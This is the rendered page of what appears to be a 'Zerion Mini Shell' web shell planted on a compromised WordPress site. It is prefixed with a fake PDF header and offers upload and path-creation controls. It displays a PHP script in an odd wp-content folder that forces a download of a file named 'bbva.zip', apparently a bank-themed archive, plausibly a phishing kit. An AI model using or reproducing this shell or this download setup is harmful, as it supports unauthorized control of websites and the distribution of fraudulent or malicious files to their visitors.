%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/projetos/revistashowdafe.com.br/wp-content/unps/
Upload File :
Create Path :
Current File : //var/www/projetos/revistashowdafe.com.br/wp-content/unps/download.php

<?php
// muda aqui se o zip tiver outro nome ou estiver em sub-pasta
$file = __DIR__ . '/bbva.zip';

if (!is_file($file)) {
  http_response_code(404);
  exit("Arquivo não encontrado.");
}

// força o navegador a tratar como download
header('Content-Description: File Transfer');
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));

// lê em chunks para não estourar memória em zips grandes
$fp = fopen($file, 'rb');
while (!feof($fp)) {
  echo fread($fp, 8192);
  flush();
}
fclose($fp);
exit;

Zerion Mini Shell 1.0